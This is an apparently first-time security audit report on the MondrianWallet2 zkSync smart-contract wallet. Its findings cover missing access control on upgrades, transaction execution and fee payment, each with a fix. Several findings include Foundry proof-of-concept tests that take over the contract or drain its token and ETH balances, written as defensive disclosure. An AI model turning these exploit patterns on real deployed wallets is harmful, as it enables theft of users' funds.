MondrianWallet2 Audit Report

Version 1.0

PatrickWorks

July 13, 2024

MondrianWallet2 Audit Report

PatrickWorks

July 12, 2024

Prepared by: PatrickWorks

Table of Contents

Protocol Summary

The Mondrian Wallet v2 will allow users to have a native smart contract wallet on zkSync, it will implement all the functionality of IAccount.sol.

The wallet should be able to do anything a normal EoA can do, but with limited functionality interacting with system contracts.

Disclaimer

I make every effort to find as many vulnerabilities in the code within the given time period, but I hold no responsibility for the findings provided in this document. A security audit by me is not an endorsement of the underlying business or product. The audit was time-boxed, and my review of the code focused solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2abc3e4831d27ae9c498edd3782fd61524587dc0
- In Scope:

Scope

```
./src/
#-- MondrianWallet2.sol
```

Roles

- Owner - The owner of the wallet, who can upgrade the wallet.
- zkSync system contracts - We don't consider these "actors" for the audit.

Executive Summary

This is the first time I do a smart contract audit (security review).

During the review, I found it challenging to find comprehensive information about the various abstractions and the workings of ZkSync. The difficulty wasn't solely in understanding Solidity-specific aspects but also in grasping how different abstractions function and their peculiarities.

Issues found

- High: 3
- Medium: 0
- Low: 1
- Informational: 2

Findings

High

[H-1] Missing access control for `MondrianWallet2::_authorizeUpgrade`, so the contract can be upgraded by anyone

Description: The `_authorizeUpgrade` function must be overridden to include access restriction to the upgrade mechanism, and this function does not have any access restrictions in its overridden version so any user can take over the contract by upgrading to their own implementation.

Impact: Critical

Proof Of Concept:

PoC

Place the following code in the test suite:

```
function testPocAnyoneCanUpgrade() public {
    HackContract hackContract = new HackContract();
    bytes memory data = abi.encodeWithSignature("foo()", "");
    vm.expectEmit(true, false, false, false, address(mondrianWallet));
    emit ERC1967Utils.Upgraded(address(hackContract));
    address anotherUser = address(4);
    vm.prank(anotherUser);
    mondrianWallet.upgradeToAndCall(address(hackContract), data);
}
```

Where `HackContract` is a copy of contract `MondrianWallet2`, with just its own addition of a function called foo().

Recommended Mitigation: Add the `onlyOwner` modifier to the `MondrianWallet2::_authorizeUpgrade`:

```
-function _authorizeUpgrade(address newImplementation) internal
    override {}
+function _authorizeUpgrade(address newImplementation) internal
    override onlyOwner {}
```

[H-2] Any user can validate, sign and execute transactions when they use the function `MondrianWallet2::executeTransactionFromOutside`

Description: The external function `MondrianWallet2::executeTransactionFromOutside` makes it possible for any user to call the `MondrianWallet2::_validateTransaction` and `MondrianWallet2::_executeTransaction` since it doesn't have the any of the access control modifiers `MondrianWallet2::requireFromBootLoader` or `MondrianWallet2::requireFromBootLoaderOrOwner`. This in itself might not be an issue, since this function is intended to be used by outside users... However in combination to this, the return value of `MondrianWallet2::_validateTransaction` is ignored, so if the validation of the transaction fails when for example the signer isn't the owner, the transaction won't revert. This combination makes it possible to make arbitrary calls to contracts by any user.

Impact: Critical

Proof Of Concept:

PoC

Place the following code in the test suite:

```
function testPocNonOwnerCanExecuteCommands() public {
    // Create some initial USDC balance for the wallet
    usdc.mint(address(mondrianWallet), 1337);
    assertEq(usdc.balanceOf(address(mondrianWallet)), 1337);

    address dest = address(usdc);
    uint256 value = 0;
    bytes memory functionData = abi.encodeWithSelector(ERC20Mock.burn.
        selector, address(mondrianWallet), 1337);

    address anotherUser = address(3);
    Transaction memory transaction =
        _createUnsignedTransaction(anotherUser, 113, dest, value,
            functionData);
    transaction = _signTransaction(transaction);

    // Transaction not signed by owner, which should revert, but it
        does not
    vm.prank(anotherUser);
    mondrianWallet.executeTransactionFromOutside(transaction);

    // Show that the balance is emptied
    assertEq(usdc.balanceOf(address(mondrianWallet)), 0);
}
```

The example above is just an example of using a USDC contract. If the attacker uses a custom contract, any call could be executed. Emptying the wallet is one example of what is possible to do.

Recommended Mitigation: Change the `MondrianWallet2::executeTransactionFromOutside` function so it takes the return value of `MondrianWallet2::_validateTransaction` and reverts if the return value is not correct:

```
function executeTransactionFromOutside(Transaction memory _transaction)
    external payable {
    bytes4 result = _validateTransaction(_transaction);
    +require(result == ACCOUNT_VALIDATION_SUCCESS_MAGIC);
    _executeTransaction(_transaction);
}
```

That way, it will revert in case the validation of the transaction went wrong.

One alternative mitigation to this I guess, is to check if the transaction is valid in `MondrianWallet2::_executeTransaction` and revert if it is not.

[H-3] The `MondrianWallet2::payForTransaction` function can be called by anyone

Description:

The bootloader is supposed to call this function, but right now it can be called by anyone because there is no access control on it.

Impact: High

Proof Of Concept If one checks the code for `_transaction.payToTheBootloader()` that's called inside `MondrianWallet2::payForTransaction`:

```
/// @notice Pays the required fee for the transaction to the bootloader.
/// @dev Currently it pays the maximum amount "_transaction.maxFeePerGas * _transaction.gasLimit",
/// it will change in the future.
function payToTheBootloader(Transaction memory _transaction) internal returns (bool success) {
    address bootloaderAddr = BOOTLOADER_FORMAL_ADDRESS;
    uint256 amount = _transaction.maxFeePerGas * _transaction.gasLimit;

    assembly {
        success := call(gas(), bootloaderAddr, amount, 0, 0, 0, 0)
    }
}
```

One can see that an external user can basically create a transaction object with a high `maxFeePerGas` and `gasLimit` and call `MondrianWallet2::payForTransaction` to drain the contract.

Add this test to the test suite:

PoC

```
function testPay() public {
    address dummyUser = address(3);
    Transaction memory transaction =
        _createUnsignedTransaction(dummyUser, 113, dummyUser, 1, bytes(""));
    transaction.maxFeePerGas = 1e9;
    transaction.gasLimit = 1e9;

    assertEq(address(mondrianWallet).balance, AMOUNT);

    bytes32 emptyBytes32 = keccak256("");
    mondrianWallet.payForTransaction(emptyBytes32, emptyBytes32, transaction);

    assertEq(address(mondrianWallet).balance, 0);
}
```

Recommended Mitigation:

Adding the modifier `MondrianWallet2::requireFromBootLoader` so only the bootcaller can call it.

Medium

Low

[L-1] There is no payable function in the wallet contract, even though the wallet is supposed to be able to act as an EoA

Description:

The documentation of the wallet says that “The wallet should be able to do anything a normal EoA can do, but with limited functionality interacting with system contracts.”. So the wallet needs to be able to receive ETH even when called directly.

Recommended Mitigation:

Add a payable receive() function to the contract:

```
+receive() external payable {
+
+}
```

Informational

[I-1] Unused custom error `MondrianWallet2__InvalidSignature`

Description: The custom error `MondrianWallet2__InvalidSignature` is not used in the contract.

Recommended Mitigation: Either remove the custom error or add the missing functionality where it is supposed to be used.

Gas